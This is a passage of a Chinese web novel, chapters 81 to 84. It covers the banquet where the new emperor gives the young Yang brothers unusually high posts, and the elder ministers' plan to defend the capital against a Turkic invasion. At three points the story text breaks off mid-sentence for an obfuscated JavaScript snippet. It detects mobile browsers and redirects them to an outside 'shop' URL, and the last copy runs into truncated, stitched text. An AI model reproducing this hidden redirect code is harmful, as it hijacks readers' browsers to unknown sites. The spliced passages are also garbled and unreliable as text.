如今有了金榜提名,这整个侯府上下喜色更浓,对联灯笼仿佛都更红了,连带着周围的街坊邻里都沾带着喜色,就连隐藏在暗处观察侯府的暗卫都平添了几分喜意。 “杨二公子赐状元及第,安定侯位列二甲第四,赐进士出身......”待将事情经过细细写清之后,暗卫将书信封好,策马北上。 如今王爷已经来凯旋归来的路上,说不定这就是送往北上的最后一封信了。 81. 琼林宴 天光五月,打马游街。 京城上下无数百姓聚集在道路两旁,瞻仰那被文曲星庇佑的一甲三人,尤其是那位得了文曲星真传,年仅十三便已冠服加身的状元郎——杨纨枫。 但见他俊俏年轻的身影端坐于高头大马之上,领着游街的队伍,一左一右的榜眼和探花仿佛都成了陪衬。 ——事实上,没有“仿佛”,就是陪衬。 十三岁连中六元的状元,纵观历朝,杨纨枫的事迹已然空前绝后,在他这会儿子游街的功夫,无数达官贵族的拜帖和媒人已经悄然登上了安定侯府的大门。 哪怕是榜下捉婿,因着杨纨枫本就出身侯府,一般的显贵都不见得有资格去提这个亲。 至于想要结交的,那就更多更多了。 此时此刻,就连他身旁的榜眼和探花,都不由得凑近杨纨枫,想要同他攀谈几句。 至于心里可能会有的羡慕和嫉妒,羡慕是肯定的,嫉妒就算了吧。 若是杨纨枫和他们同龄也就罢了,探花今年三十有六,儿子都比杨纨枫年纪大了,这要是都能嫉妒,他怕是早就气得吐血而亡了。 此时此刻,榜眼和探花都清楚得明白,他们再优秀,也终究只是凡人,而杨纨枫是真正超越世人的天才。 他们这些凡人和杨纨枫比起来,是那真正的云泥之别。 不过显然,杨纨枫并未在意过他的天资究竟是不是空前绝后,他只知道,此刻他真正做到了连中六元,他替曾祖完成了此生的第一个心愿。 至于第二个,那就是步入仕途,做高官。 至于多高的高官? ......他在心里隐约有了一个想法。 昔年张太师被高祖下旨赐位丞相,然太师拒旨,高祖由是怒而夺其吏部尚书之职,只给了他一个太师的虚衔,却令其“代行百官之责”。 无丞相之名,却行丞相之事。 那么太师为何要拒绝高祖?曾祖又是因何对太师生怨? 除非......曾祖昔年的心愿,正是那百官之首的丞相。 一向云淡风轻的杨纨枫,此时此刻终于脊背有点发热。 压力有点大啊。 按旧例,殿试状元授官翰林院修撰,从六品,要先在那个位子上熬个两三年才能分去六部亦或地方上,接触实权。 唉,先干着吧。 杨纨枫望着街道两侧欢呼庆贺的百姓,也不禁展露出一丝笑容,至少,这是一个好的开端。 一甲三人游街行至皇宫外,彼时一众进士早已聚集在此等候,一甲三人翻身下马,最后由杨纨枫带领着步入皇宫。 等到了琼林苑,偌大的排场闪花众人的眼睛,碧玉假山,平湖翠柳,鎏金桌台,山珍海味,极尽奢靡,远比那殿试时金碧辉煌的保和殿更加气派。 而那人间天子就坐在玉山前的龙椅上,含笑望着众人。 在杨纨枫的带领下,众人叩首行礼,新帝满意地点头:“都起来吧。” 太监唱和道:“请诸进士就座——” 琼林宴便这就开始了。 杨纨枫的位子就在新帝右手边上,而他身旁才是榜眼,至于他对面的新帝左手边则根本没人,见状杨纨枫愣了愣,历年状元都和皇帝挨得这么近吗? 这算是......一种宠幸? 新帝目光炯炯地看着杨纨枫,来了来了,朕的千里马终于来了! 朕的江山有汝之辅佐,定能开创大楚新的盛世! 杨纨枫并不知道新帝心里的小九九,也不知道其实新帝早已看中他,乃至于他在宴会上的座位都是新帝特别安排的,为得就是能和他多谈谈心。 不过,对于新帝接二连三抛出的各种问题,他倒是游刃有余,虽然他不太明白新帝的盛情从何而来,但是他从这些问题里隐约看出了点东西。 这位新帝好像对自己极度自信,极度不喜欢和自己相悖的意见。 参照历朝各代,好像确实大多数君主都有这个通病,但是这位皇帝的这个病好像已经严重到了和臣子们的执行力出现矛盾的地步...... 原来官场是这样的么? 他总觉得这事有点不对劲,待到今日回府以后,他觉得有必要请教一下曾祖他们。 不过好在杨纨枫对于人情也了解的足够透彻,你不喜欢别人忤逆你,那我就顺着你说,并且由于杨纨枫向来不苟言笑,因此这些奉承到了新帝耳朵里听着反倒更像真情实意的夸赞。 新帝高兴疯了,不愧是朕一眼就相中的人才,真不愧是朕的知己啊! 由是待到一番“谈心”结束,新帝一拍大腿:“传旨吧!” 一众进士纷纷安静,屏息凝神,授官的圣旨来了! 从翰林院修撰到地方知县,他们今后的未来,皆在那张金黄圣旨之上。 待到太监打开圣旨,唱诵道:“奉天承运,皇帝诏曰:今琼林宴会,见诸生才德俱佳,可堪大任,故为诸生授官......” “状元杨纨枫,授从四品吏部司封司郎中!” ......等等,吏部司封司? 众人倒吸了一口凉气,这这这不对吧! 不是翰林院修撰吗?怎么一下子直接变成了吏部郎中? 就连杨纨枫自己呆住了,他反复怀疑自己是不是听错了,还是说他在做梦? 让他一个刚步入仕途的新官直接去当一司之长这合理吗??? 好不容易回过神,紧接着他就又听到了一个炸裂的:“二甲第四杨纨玦,授正五品兵部职方司员外郎!” 杨纨玦瞳孔炸裂。 等等,圣上!您给榜眼和探花的也才是员外郎啊!给我之前几名都是主事,怎么到了我这又成员外郎了! 不仅如此,这一通听下来,一众进士竟然大多都直接授予了有实权的位子,而且大部分都是京官,而本应该授予状元的翰林院修撰,竟然排到了第三甲同进士身上。 直到太监念完“钦此”之后良久,许多进士仍旧处在震惊之中久久不能回过神。 娘呀,他们这就开始平步青云了吗! 杨纨枫偷瞥了一眼那坐于龙椅之上的新帝,思绪止不住流动。 他们这些新人上去那么多,那就意味着上边的老人也要下来许多,圣上这是要给官场大换血么? 方才他就觉得圣上和大臣之间的存在矛盾,如今看来,圣上这是打算直接换掉先帝留下来的旧臣,抬一批听话的亲信上去么! ......看来朝中定然发生了不小的事,也许他应该去请教一下曾伯祖张太师。 杨纨玦没有自新帝口中了解到如今官场的情况,想的也没有杨纨枫那般清晰透彻,但他也察觉出了不对劲。 另外,因为他并没有如杨纨枫那般感受到新帝的一片热情,然而封官时他却比名次在他之前的几人品级还高,乃至于和一甲的榜眼探花平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13296843|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 级,让他一时间摸不清楚新帝的意思。 这么大张旗鼓地破格为他授予高官,表面上似乎是一种荣耀,然而实际上这得遭到新旧大臣的多少忌恨?新帝这到底是偏爱他还是厌恶他? 新帝这一通操作下来,给无数人搞懵了。 头脑简单一点的,自然是高兴得不得了,他们的起点实在是比往年进士高太多太多了;而高瞻远瞩一些的,则已经开始忧虑这其中的不对劲了。 事出反常必有妖,众人喜得喜,愁得愁,待到琼林宴散场,也都各自打道回府了。 杨纨玦和杨纨枫两兄弟回府时已是深夜,管事特意在门口守着,见到两兄弟来,连忙迎了上去:“祝贺两位少爷拜官!” 两兄弟都笑了,杨纨玦问道:“你在这里等我们?是母亲要传唤我们?” “二位少爷封官归来,夫人自然要传唤的,不过......”管事道,“祝老先生特意叮嘱,让二位回府后先去老先生的院子里找他。” “嗯,我们知道了。”两兄弟对视一眼,便进了门往祝贤盛的院里走去。 待进了院里,推开门,三位老人还有刘珂、钱志远,都已等候多时了,陆恒之磕着瓜子给刘珂答疑解惑,钱志远在边上端茶倒水。 张辅之和祝贤盛在下棋,下到一半,张辅之干脆站起来就要把棋局收了。 “哎哎哎,你干嘛!”祝贤盛连忙去拦他,“输不起啊?” “我输不起?”张辅之冷笑,“你要不自己看看你下成什么样子了?” 陆恒之闻言连忙凑过去:“我看看我看看,下成啥样了。” “哎哟。”陆恒之摇着头啧啧道,“老祝你心神不宁啊。” “......”祝贤盛眉头直跳,“你教你的学生去,别在这瞎掺和。” “你看你看,急了!”陆恒之大笑,复又安慰道,“纨枫这不是都连中六元了吗,你瞎担心个什么啊,就冲他之前连怼庆国公府那母子的模样,你觉得他琼林宴还能出什么岔子不成?” 祝贤盛不语。 陆恒之又扭头看张辅之:“老张你天天早朝聆听圣裁,你给老祝分析分析,新帝这会子是个什么意思。” 张辅之刚要开口,忽地外厅的门被推开了,两个年轻俊朗的身影走了进来,两兄弟的脸上还带着些许疲色,见到自家先生都在,当即躬身作揖:“学生幸不辱命,于琼林宴拜官归来,未愧恩师教导!” “好!”鼓励式教育第一人的儒圣先生直接鼓掌,钱志远也连忙跟着喝彩鼓掌。 不过除了他俩也就没人再跟着现眼了,刘珂亲自上去扶杨纨玦,眼中充满自豪:“好孩子,快起来。” 祝贤盛拿起杯子想要喝口茶润润嗓子,可是手颤抖得怎么也停不下来,陆恒之见状连忙让杨纨枫也起来,然后幽幽道:“我是没想到哟,咱们三个里边最早得癫痫的会是你老祝。” “滚蛋!”祝贤盛骂了一声,紧张的心终于平复了下来,待好不容易喝了那口茶之后,不由地问道,“封了......咳,封了翰林院修撰?” 杨纨枫摇头,复又微笑道:“学生幸不辱命,受封司封司郎中。” 祝贤盛点了点头,陆恒之若有所思道:“吏部郎中,那确实是幸不辱命哈......” 只有张辅之皱起了眉头。 下一刻,祝贤盛和陆恒之不约而同地抬起头,难以置信地看着他:“从四品郎中?!” 82. 拥兵自重 静默。 长久的静默。 连空气中都多了一丝呆滞。 陆恒之猛灌了一口茶水,又看向杨纨玦:“那纨玦呢?定然不只是个庶吉士吧?” 杨纨玦颔首:“晚辈受封职方司员外郎。” “员外郎?!”陆恒之到底是没绷住,瞪大眼睛看向张辅之,“新帝疯了吧!” 让俩才刚步入仕途,实事都没干过的小孩去当一司之长和一司副长! 张辅之眉头快皱上天了,不答话,陆恒之又看向刘珂:“你现在是几品来着?” 刘珂自然不只是个教书先生,他在朝中也是有职位的,不过秉承着陆恒之闲云野鹤的思想,他只担个闲职,每月领些俸禄,倒也逍遥自在。 此时闻言,刘珂拱手答道:“回先生,学生如今担任翰林院侍读学士。” 话落,又是一段长久的沉默。 翰林院侍读学士是从五品,兵部员外郎是正五品,换句话说杨纨玦现在已经比他先生刘珂官大了。 过了许久,刘珂拍了拍杨纨玦的肩膀:“无论如何,你既已坐上了这个位子,那就好好干。” “你年岁尚小,官场混杂,六部的水更是远比翰林院这种闲职要深得多,你初入官场,须得处处小心谨慎。” 刘珂眼中饱含欣慰:“所谓青出于蓝而胜于蓝,在官场一道如今你已经超越了我,我为你骄傲。” 杨纨玦只感觉自己的心被一阵暖流裹挟,他猛地点头,深鞠作揖:“学生定不负先生所托!” 祝贤盛叹了口气:“老张,你怎么看?” 张辅之从方才就在皱眉沉思,此时终于开口道:“是只有你们两个破格进了六部,还是所有进士都封了这么高的官?” “回曾伯祖,是所有。” 于是杨纨玦将新帝圣旨上所封的官职,以及他破格和一甲榜眼探花官职平级的事讲述了出来。 “你是说,二甲的前三名还都是主事,结果到了你这又成了员外郎?”三个老人以及刘珂都陷入了沉思。 新帝这到底是个什么意思? 陆恒之问道:“新帝确定没写错,还是太监没念错?” 张辅之瞪了他一眼:“皇帝和朝廷就算是再马虎,也不可能不靠谱到这种程度。” “那你说这是怎么个意思吧。”陆恒之摊手,“总不可能是新帝看他年纪小,天资高,所以偏爱他?” “......”以张辅之对新帝的了解,这还真有可能。 “不会吧?”陆恒之瞪大眼睛,“就这么当众给他越官,这是给他机会还是给他树敌啊?” 张辅之叹了口气,他真的很不想明说,就新帝那个脑子,可能根本就想不到这么做可能会给杨纨玦招来无数的嫉恨。 适时,杨纨枫忽然道:“对于此事,晚辈还有一些疑惑。” 于是他便将琼林宴上和新帝的谈话,以及他从中对官场如今状况的推测讲述了出来。 话毕,陆恒之笑着看向张辅之:“怎么样,我就说这小子有天分吧?” 张辅之难得如此赞同他。 仅从一场谈话就把朝廷如今的现状大致摸清楚了,此子当真天资纵横,有宰相之才! “你想得都没错。”张辅之回答他,“现在朝中就是这么个情况。” “啊?”杨纨枫傻眼了,“这,可是......” “可是如果朝中能成这样,恐怕就离改朝换代不远了是吧?”张辅之自嘲地笑了。 屋内再次陷入了沉默。 任谁都没想到,新帝的手段竟然能奇葩到这种地步,他就完全没想过,如果这些刚上任的新官干不好,那整个朝廷都有可能陷入瘫痪么?毕竟刚上去的新官那么多,还大多都身居要职。 就算是有宰相之才的杨纨枫,有天赋是一回事,那也需要时间成长啊,刚上来就给他一整个司去管理,他也不可能游刃有余。 杨纨玦和杨纨枫对视了一眼,合着他们之所以能破格受封这么高的官,是因为大楚快亡了? “等等。”陆恒之问道,“新帝要抬这么多新人上去,那就得拉这么多老人上去啊,你那边没点音信?” 张辅之冷哼一声:“今日早朝我称病告假没去,想来是今早下旨罢的官。” “你没去?”陆恒之上下打量着他,屁大点事没有,活蹦乱跳的,怎么可能生病? 就老张这么个工作狂,能有什么让他宁愿称病也不愿意去早朝? “你又被新帝气着了?” 张辅之扭过头不理他。 最后还是祝贤盛一锤定音:“不管怎么说,位子已经给了,就尽力去干,干不干得好再另说。” 这话是真不假,毕竟总不能抗旨不去,他们两个又不是当初干到丞相的张辅之,如今的新帝也远不如当年的高祖英明。 说罢,祝贤盛又抬起眼皮看向他俩:“你俩有什么不懂的,都可以来问我们,我和老陆不懂的,就去问老张,先把自己的能力尽到,无愧于心,无愧于民。” 两兄弟受教:“学生/晚辈明白。” 待晚辈们都走干净了,张辅之赶紧问道:“小宁安王还有多久才能回来?” 诚如方才所说,大楚若是不想改朝换代,就只能寄希望于宁安王了。 “你又不是没看过我学生寄来的信,小宁安王现在的速度已经算是插上翅膀飞了。”陆恒之摆手道,“他就算是用飞的,那也得一个多月。” “一个多月......”张辅之喃喃着跌坐在了椅子上,苍凉地笑了,“你们可知,照突厥如今的行军速度,攻到京城需要多久?” 方才当着晚辈们的面他不说,怕扰乱这几个孩子的心神,为何他今日没去早朝?就是因为被气着了。 大楚离改朝换代不远,说的可不只是新帝昏庸无能,而是现在实实在在的,大楚江山正在逐步沦陷。 “......多久?”祝贤盛问道。 “......不会吧?”陆恒之迟疑道,“大楚将士这么多,难道除了小宁安王就都是吃素的不成?” “吃肉的有,都被新帝按着不准出兵呢。”张辅之讽刺地笑了,“如果新帝再继续按着那些能打的武将不动,最多一个月,突厥的军队就会踏破京城的城门。” “......”祝贤盛和陆恒之瞪大眼睛,久久不能言。 到那时,江山易主,改朝换代,生灵涂炭...... 就只剩一个月了。 良久,陆恒之转身去内室:“我去给学生们写信。” “你写信有用吗?”祝贤盛道,“你就算是把小宁安王催死了,他也得一个多月。” “他去北疆用的又不是全部的兵力!”陆恒之猛地回头,言辞激烈,“他在京城还留了一部分呢,现在京城就要失守了,他要是还想做这个皇帝,必须得先把京城保住!” 张辅之叹了口气:“我明日就去调动朝中所有关系,事到如今,我们这些朝中的老人都是一条船上的了,必须拧成一股绳。” 新帝这一招来得突然,虽然不至于釜底抽薪——他就算想换,最多也就只能换掉一个司的长官,至于那些真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13321322|123316||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的大官,像尚书侍郎这样的,还是动不了的。 但是一下子换了这么多人,也已经对朝廷伤筋动骨。 张辅之早就知道新帝戒备他们这些朝中老人,对他们不满,但是他没想到新帝会做得这么过火,这一举措定然会惹恼无数朝臣,更是会加深新旧势力之间的矛盾,将两股势力彻底推到对立面上。 这样会把新人们强行架起来,迫于形势必须忠诚并依附于新帝,可同时也会让原本内部矛盾的老人们团结起来,一起对抗新帝和新人们。 呵......新帝是真觉得自己权力比天大啊,觉得这些没有根基的新人有了他的帮助,就能把老人们推下去么? 且走着瞧吧。 祝贤盛左瞧瞧,右看看,见俩兄弟都有事干,就自己一个孤家寡人的瘸子落得清闲,长叹一声伸了个懒腰:“哎哟,能者多劳,你们就忙吧,我在边上看着就行了。” 陆恒之在内室写信的手一顿,掀开帘子瞪着他:“你倒落得个清闲是吧?” “不然呢?”祝贤盛悠哉悠哉地喝着茶,“就算这天被打下来和我有什么关系,我就是个在孙女家里养老的老头子罢了。” 陆恒之和张辅之对视了一眼,然后一左一右,架起祝贤盛就往内室走去。 “哎不是,你俩想干嘛?” 等到了内室,张辅之去把内室的门关死了,陆恒之从柜子里把舆图拿出来。 祝贤盛左看看右看看,莫名有点发毛:“你俩老小子可别想阴我。” 张辅之看着他道:“你去给你的苏家家主侄子写信,小宁安王凯旋路上已经不会太过消耗物资,你让他把物资调来京城。” “......”祝贤盛在心里“卧槽”了一声,“你俩该不会是想......?” 看看新帝都把老张逼什么样了,忠国忠君了三朝的老臣居然都想造反了! “想什么呢你,造反不至于。”陆恒之翻了个白眼,把纸笔塞到了祝贤盛手上,“但是我们必须想办法把京城守住,争取能拖到小宁安王回来。” “哪怕为此把皇帝架起来?”祝贤盛不禁扬高了几个声调。 “哪怕把皇帝架起来。”张辅之沉声道。 “好!”祝贤盛当即落笔作书,边写边道,“你俩可真行啊,胆子什么时候这么肥了。” 陆恒之很想说,不是我们胆子变肥了,是你比从前更加谨慎了。 然而他到底没有开口,他知道,这话说出来只会刺伤老祝的心。 张辅之道:“我想办法避开皇帝的耳目,私下见见北辰侯,守城的军队交给他最为合适。” 祝贤盛道:“纨玦是北辰侯的准女婿,这事你问问纨玦去。” 张辅之:嗯??? 张辅之诧异道:“北辰侯府和安定侯府定亲了?” 这事他怎么不知道? “快了。”祝贤盛略一思索,“如今纨玦已经拜官,应当过些时日就去提亲。” “那这可真是双喜临门啊!”陆恒之调笑道,“老张你到时候跟在提亲的队伍里边,浑水摸鱼就进去了。” 张辅之嘴角抽了抽,忍住骂人的冲动。 罢了,正事更重要。 他负责里应,老陆负责外合,老祝联系后勤,真没想到他们哥仨会以这样的方式再合作。 想到此,张辅之又不由得笑了。 “嘶......等等,你们有没有意识到一个问题?”奋笔疾书的陆恒之突然停下,抬起头问道,“小宁安王凯旋归来这事,除了咱们仨,新帝和朝臣们知道吗?” 83. 谋反 张辅之和祝贤盛皆是一顿。 他们知道小宁安王如今凯旋归来,皆是根据舆图推测,再由陆恒之远在北方的学生印证。 这些时日他们沉迷推演,对小宁安王的行军路线了如指掌,完全忽略了这件事其实只有他们三个知道,而外人对于小宁安王的音讯丝毫不知情的事实。 张辅之和祝贤盛面面相觑,后者问道:“老张你天天上早朝,小宁安王有没有往回传捷报你能不知道?” 张辅之沉吟了片刻:“最后一封捷报,是小宁安王拿下汉州,已经是三个月前的事了。” 陆恒之倒吸了一口凉气:“那看来这小宁安王也早就做好了篡位的打算,只等着这次凯旋归来,再联合京城内部的兵力,里应外合拿下皇宫啊。” 祝贤盛冷笑:“就是没想到中途蹿出来一个突厥。” “你们说,有没有可能小宁安王已经知道突厥打过来了?”陆恒之思索道,“不然他为什么连凯旋都这么着急?” “他在北边打着仗,西边的战事都能传到他耳朵里?”祝贤盛抬起眼皮看了他一眼,“那他至少得在西边有人,或者在朝廷留下了耳目。” “也许两者都有。”张辅之低头沉思。 “这个小宁安王有手段啊。”陆恒之笑着看向张辅之,“这不就是你期盼的明君么?” 张辅之一拂袖:“他是有这个能力,但是有没有兼济天下的心还未必。” “好好好。”陆恒之冲着祝贤盛指指点点,“你看看这人,心里估计都乐开花了,还在这死鸭子嘴硬。” 张辅之青筋暴起:“陆恒之!!!” 三兄弟在这边热热闹闹,而远在皇宫的新帝正沉浸于自己一手遮天的美梦之中。 他丝毫不知,再过一个月,突厥的铁骑将会踏破他的江山,全朝文武将会架空他的权力,悲壮的现实将会侵吞他的黄粱一梦。 不过那些也都是一个月之后的事情了,翌日,穿戴整齐的他仍旧是大楚的君王。 然而西边的战报加急送至皇宫,面对迫切的战况,这位心比天高的君王束手无策,只能继续他的无能狂怒,将责任推给群臣。 若非这些臣子无用,他的江山怎会如此不堪一击! 今日张辅之没有告假,看着今日早朝空了小一半的人,他的心里已经冷到了极点。 早朝前听同僚说,被罢官的那些人,好一点的贬去了地方上,远离京城;差一点的被免了官,提前告老还乡;而最差的,则是直接下狱。 若真是因错入狱也就罢了,可是入狱的缘由尽是些莫须有的罪名,这些人为朝廷辛勤劳碌几十年,何苦受这牢狱之灾呢! 而到了明日,这些空下来的位置,则会被新帝新选出来的那些人,那些不要说处理过政务,甚至连文书都没碰过的新科进士填满。 呵...... 张辅之低着头心不在焉,新帝反倒以为他是肯低声下气了,待到一通发泄之后,见此气也消了一大半。 同时新帝在心里越发得肯定自己,把近乎一半的朝臣替换掉这就是对的,这些无能的群臣就如同腐肉,必须狠心割下,替换上新鲜的血液,你看换完了张辅之这不就立刻示弱了? 随后新帝又随便点了两个武将去西讨,依旧与北辰侯无关,对此北辰侯已经习惯,一颗心从火热到冰冷,新帝已经浇灭了他所有的热情。 待到早朝散朝,无数朝臣纷纷来到张辅之身边倾诉抱怨,一时间殿内叫苦连天。 “太师您是不知道啊,昨日半数朝臣被罢官,那场面太大了!” “圣上就这么看不惯我们这些老臣,要把我们逼上绝路吗!” “臣等为大楚鞠躬尽瘁,最后竟要落得个如此下场!” 张辅之叹了口气,目光轻瞥,刚好瞥向躲在一旁默默观察的吏部尚书。 他不禁冷笑出声:“这是你希望看到的?” 吏部尚书是最早投靠新帝的,也一直在拥护新帝,因此这所有的朝臣里边,他现在算是过得最好的。 见到张辅之看他,吏部尚书心虚地扭头看向他处。 张辅之大步流星来到他面前,目光如炬:“你是个聪明人,应该能想得到,若是新帝真的扶持新人们上位,你难道还能保得住自己?” 答案当然是否的。 吏部尚书不仅聪明,而且他的聪明全用在关心自己的仕途上了,因此他对新帝此次的雷霆手段更加敏感,也更加焦急。 新帝毫无疑问是要抛弃他的,不然为何要让最优秀的新科状元来他的吏部担任一司之长?不就是想让新科状元早些成长,假以时日取他代之吗! 他实在是没有想到,他为了新帝背弃群臣,背上了奸臣的骂名,到最后新帝最先要丢弃的居然是他。 方才朝臣在那商议对策,他不是不想去,然而他先前的所作所为已然招来朝臣厌恶,此刻上赶着上去,别说他拉不下这个脸,只怕也是吃力不讨好。 而此刻见到太师主动来找自己,吏部尚书表面心虚,其实心里反倒是庆幸了几分,只见他叹了口气:“太师教训的是,下官悔不当初啊!” 末了又表现出一副走投无路的模样:“事到如今,依太师之见,我们这些老臣该如何自保?” 张辅之哂笑一声:“你是真的想和我们这些老臣团结起来,而不是当个两面派?” “您这是说的什么话?”吏部尚书当即表忠心,“现如今咱们都是一条绳上的蚂蚱,当齐心协力共渡难关,太师您请放心,若有什么用得上下官的地方,烦请尽管开口,下官义不容辞。” “你最好是。”张辅之这才点头,不禁看向武将那边。 虽然昨日罢官的都是文官,然而唇亡齿寒懂得都懂。 其实与其说文官是唇,武将是齿,倒不如说,从新帝用强硬的态度回拢兵权开始,他们武将才是那个将亡的唇。 此时,以北辰侯为首的武将们也凑在一起窃窃私语,只是和掌握朝中实权的文官们相比,除非他们想发动叛乱,否则他们能做的也就只有哀叹。 北辰侯已然对新帝心灰意冷,他即便想要改变也是有心无力,只能等着将来被新帝找个由头罢免,所幸纨枫年纪轻轻便已受封兵部员外郎,秋歌将来的日子不会太难过。 ......呵,只是,到底是他先被罢免,还是这大楚先亡,还未可知呢。 失神间,北辰侯忽得仿佛听到了太师的声音,他回过神,赫然见到张辅之已经来到了他面前:“北辰侯。” 北辰侯有些诧异:“太师唤末将所为何事?” 先前他就说过了,要保下这大楚江山,他做不了什么,只要新帝一日不让他出兵,那他就一日只能是个废人。 张辅之没有回答他,而是环视四周一众武将,如今朝中所有能用的武将,皆在此处了。 “诸位将军身经百战,想必能够预料到,若是继续放任突厥不管,再过多久,突厥便能直入京城吧?” 有武将悲凉地笑了:“一个月。” 照突厥现在的速度,一个月内攻入京城易如反掌。 张辅之颔首:“如今形势所迫,保住整个大楚怕是不能了,就我们现在的兵力的而言,要想保住京城,我们也只有一个月的时间来准备了。” 此言一出,有些心思活络的将领顿时体会到了别的滋味。 太师为何无端说起这种话?还是专门来到他们这些武将面前说,还是要等到早朝散朝,圣上走了以后才说? 然而有些没头脑的武将则暴躁了起来:“怎么保?手上有兵是一码事,能不能用是另一码事,就皇帝这个态度,恐怕就算突厥打上门了,我们也得被按着不准动!” “闭嘴!”北辰侯瞪了他一眼,当着这么多人的面,公然表示对圣上不满,脑袋是不想要了吗! 说罢,北辰侯连忙看向刑部尚书的方向,而后者见到对方看他,仰起头去看大殿的穹顶,显然是当作没听见了。 见此,北辰侯这才松了口气。 他看向张辅之,眼睛微微眯起,太师行事向来稳妥,此刻他能说出这话,莫不是想...... 张辅之直视着他的眼睛,微微点头,证实了他心中所想。 北辰侯心里咯噔一声,只觉得大脑出现了片刻的空白,脊背逐渐被汗水浸湿。 太师可是三朝老臣,对大楚鞠躬尽瘁,怎么会...... 然而待他回过神来,也是想通了。 现如今的情况,皇帝已然指望不上,如果他们这些群臣还不能想方设法做些什么的话,那大楚才是真的亡了! 想到此,北辰侯也不禁佩服太师破釜沉舟的气魄,此举若是能成,皇帝未必会感谢太师;可此举要是不成,那太师真就成了千古罪人了! 北辰侯当即拱手作揖:“我等俱是粗人,官场一道不甚了解,唯有一身带兵打仗的本事可用,若太师有需要,请尽管吩咐,我等必定义不容辞!” 经过北辰侯此举,有些武将也看明白了太师的意图,无不诚心诚意地表示佩服,跟随北辰侯一起作揖道:“我等义不容辞!” 而其余没看懂的,在这么多武将的带领下,也跟随着一起作揖。 一时间,场面之壮大,武将们的声音气势如虹,响彻大殿。 张辅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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全朝的地图、城隍、镇戍、堡寨、烽堠及征防路途远近等事全由职方司处理,这么多大事一下子全摆在了他面前,哪怕有他的上司郎中带着,这也没办法上手啊! 陆恒之拍了拍他的肩膀:“没事,慢慢来,都知道你刚上任就挑这么大的担子,不会逼你的。” 张辅之道:“我已经和吏部尚书、兵部尚书打过招呼了,他们不会苛责你们,有问题积极问,争取早日上手。” 杨纨玦有些艰难地点了点头,几人又看向杨纨枫:“你呢?感觉如何?” 司封司掌管全朝封爵、叙赠、奏荫及承袭等事,按理说他们刚被授完一波官,要赏赐的定然不会少,现在应该正是忙的时候。 杨纨枫沉吟道:“我觉得,新帝的赏赐是不是有些随意了......” 今日他用了半天的时间了解了司封司的各项事务,随后他就开始了步入仕途以来的第一份工作——核查新帝给他们这些新科进士的赏赐,然后他就发现...... 新帝给他们的场次和历朝历代的进士相比,实在是有点...... 太多了,多到完全超越了规制。 随后他又核查了这些年新帝在其他方面的赏赐,发现这新帝出手是真阔绰。 阔绰到他很担心,如果新帝一直这么挥霍下去,大楚的国库它还好吗。 杨纨枫将自己的想法说了出来,张辅之十分意外地看着他:“司封司的业务你都已经熟悉完了,开始上手工作了?” “不太熟练。”杨纨枫道,“勉强可以。” 张辅之倒吸了一口凉气,这才第一天,这小子居然就把一整个司的工作掌握了解,并且还有余力上手工作。 真是个怪物! 其余人对此早已见怪不怪,杨纨玦无奈地笑了,有这么个弟弟站在一块,实在是压力山大啊。 “他给什么,你就照着办就行。”祝贤盛喝了口茶,“左右他能挥霍的日子也不多了。” 陆恒之叹了口气:“要么说这两年徭役赋税越来越高,哪怕突厥这时候不打上来,这大楚江山只怕也撑不了多久了。” 张辅之冷哼了一声,复又叮嘱两人:“虽然我和你们的上司都打了招呼,但如今朝中老臣对新势力的成见很深,你们切记小心行事。” “官场水深,若有一步行差错步,招来的可能就是杀身之祸。” “曾伯祖放心。”杨纨玦和杨纨枫纷纷应道,“我们会小心的。” 至此,两兄弟官场生涯正式开始。 此时已经夜已深了,后院的碧月轩里,本来已经和衣躺下的苏若琳猛地睁开眼。 “绿俏?” “奴婢在。”外屋守着的绿俏闻言连忙走了进来,“夫人,怎么了?” 苏若琳看向窗外,院子里格外的宁静,窗外的柳树青葱翠绿,高悬于夜空的月亮今夜格外的明亮。 一副岁月静好。 可她这心却没来由地突突直跳,总感觉有什么事情要发生了。 84. 一个月后 杨纨枫天资纵横,仅用了短短数日便熟悉了司封司的所有公务,逐渐游刃有余,速度之快、天赋之高,令满朝惊愕,吏部尚书更是冷汗直冒。 若是普通的新官,此时吏部尚书自然是得给新官点下马威瞧瞧,让此人知道收敛,可问题是,此人是太师特意叮嘱过的,而他现如今正有求于太师,于是只好捏着鼻子认了。 而杨纨玦虽然天资不如杨纨枫,但在兵部尚书、兵部侍郎以及职方司郎中不遗余力地栽培下,竟也成了满朝第二个上手的新官。 原本兄弟俩如此优异,当成为新官里的领头羊、旧势力的眼中钉,然而张辅之早已放下了话,而且兄弟俩于官场上还算圆滑,从未惹事生非,于是旧臣们也就睁一只眼闭一只眼。 由是新帝对兄弟二人愈加欣赏,简直要当成宠臣来看待,同时更加肯定自己的决策,替换掉那些无用之辈果真是正确的选择! 现如今张辅之的心神早已不再当朝政务上,前些日子宁安王来信,一个月后若是他未能回京,可以临时调用他在京城留下的军队抗击突厥。 同书信一起送来的,还有宁安王身上的半块虎符。 看着那象征着大楚兵权的半块虎符,张辅之不由得感慨小宁安王的气魄,竟然就这么将虎符打包送来。 不过这也说明了小宁安王对于自己手下的军队十分自信。 